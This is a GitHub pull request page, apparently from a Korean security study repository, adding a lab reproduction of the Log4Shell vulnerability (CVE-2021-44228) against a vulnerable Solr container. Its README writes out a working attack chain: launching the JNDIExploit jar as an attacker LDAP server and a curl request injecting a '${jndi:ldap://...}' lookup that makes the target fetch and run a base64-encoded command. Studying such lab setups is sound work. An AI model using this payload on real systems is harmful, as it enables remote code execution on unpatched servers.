Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

[강성원/rivercastleone] log4j CVE-2021-44228 분석 코드 및 결과 #7

Open
wants to merge 12 commits into
base: main
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
9 changes: 9 additions & 0 deletions log4j/CVE-2021-44228/Dockerfile
Original file line number Diff line number Diff line change
@@ -0,0 +1,9 @@
FROM ubuntu:22.04

# 필요한 패키지 설치와 소스 코드 클론을 하나의 RUN 명령으로 합칩니다.
RUN apt-get update && apt install git -y && apt install unzip -y && apt install net-tools -y && apt install default-jre -y && git clone https://github.com/black9/Log4shell_JNDIExploit.git && cd Log4shell_JNDIExploit && unzip JNDIExploit.v1.2.zip

# 작업 디렉토리를 소스 코드 디렉토리로 변경합니다.
WORKDIR /Log4shell_JNDIExploit


Binary file added log4j/CVE-2021-44228/JNDIExploit-1.2-SNAPSHOT.jar
Binary file not shown.
11 changes: 11 additions & 0 deletions log4j/CVE-2021-44228/Makefile
Original file line number Diff line number Diff line change
@@ -0,0 +1,11 @@
.PHONY: all install clone exploit
all: install clone exploit
install:
sudo apt-get update
sudo apt install git -y
sudo apt install unzip -y
sudo apt install default-jre -y
clone: install
git clone https://github.com/black9/Log4shell_JNDIExploit.git
exploit: clone
cd /home/Log4shell_JNDIExploit && unzip JNDIExploit.v1.2.zip
44 changes: 44 additions & 0 deletions log4j/CVE-2021-44228/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,44 @@
# CVE-2021-44228

**Contributors**

- [강성원(@rivercastleone)](https://github.com/rivercastleone)

<br/>

### 요약

- Log4j는 다양한 pattern을 지원, 그 중 JNDI Lookup pattern을 공격자가 삽입하게 되면 Log4j가 JNDI를 통해 LDAP 서버에 접속하여 객체를 참조하게 됨
공격자는 이 기능을 이용해서 공격자의 서버로 악성 자바 객체를 다운받게 하여 이 코드를 이용해서 서버를 탈취

![](exploit.png)

- JNDI를 사용하여 LDAP 과 같은 디렉터리 서비스로부터 악성 URL을 반환한다. 여기서 `ldap://example.com/a` 은 LDAP 서버의 주소를 나타낸다


<br/>

### 환경 구성 및 실행

- `docker compose up -d`를 실행하여 테스트 환경을 실행함.
![](server.png)
- 서버가 시작 된 후 `http://your-ip:8983/` Apache의 관리 포털을 찾아봄
![](web.png)
- 로그에서 params 필드가 있음을 확인
![](log.png)
- `java -jar JNDIExploit-1.2-SNAPSHOT.jar -i your-ip -p 8888`를 호출하여 공격자 LDAP 서버 및 HTTP 서버 구축
- `echo -n 'base_encoding_command' | base64` 를 호출하여 실행 시킬 명령어를 인코딩한다 ex) ` echo -n 'touch /tmp/success' | base64`
- `curl 'http://your-ip:8983/solr/admin/cores?asdf=$\{jndi:ldap://your-ip:1389/Basic/Command/Base64/base_encoding_command\}'` 를 호출하여 공격자는 JNDI 조회를 통해 악성 서버에 연결하게 됨
![](attack.png)

<br/>

### 결과

![](result.png)
![](result2.png)
<br/>

### 정리

- 이 취약점은 로그 이벤트 데이터를 삽입하거나 악의적인 코드를 실행할 수 있는 취약점으로, 악용될 경우 시스템의 안정성과 보안에 심각한 위협을 초래할 수 있음. 안전한 운영을 위해 주기적으로 Log4j 라이브러리를 최신 버전으로 업데이트를 하여 취약점을 보완하는 것이 중요함
Binary file added log4j/CVE-2021-44228/attack.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
6 changes: 6 additions & 0 deletions log4j/CVE-2021-44228/docker-compose.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,6 @@
version: '2'
services:
t1:
image: vulhub/solr:8.11.0
ports:
- "8983:8983"
13 changes: 13 additions & 0 deletions log4j/CVE-2021-44228/docker-compose_cp.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,13 @@
version: '2'
services:
t1:
image: vulhub/solr:8.11.0
ports:
- "8983:8983"
t2:
image: test:latest
ports:
- "8888:8888"
- "1389:1389"
command: bash -c "java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 192.168.147.128 -p 8888"

Binary file added log4j/CVE-2021-44228/exploit.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added log4j/CVE-2021-44228/log.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added log4j/CVE-2021-44228/result.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added log4j/CVE-2021-44228/result2.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added log4j/CVE-2021-44228/server.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.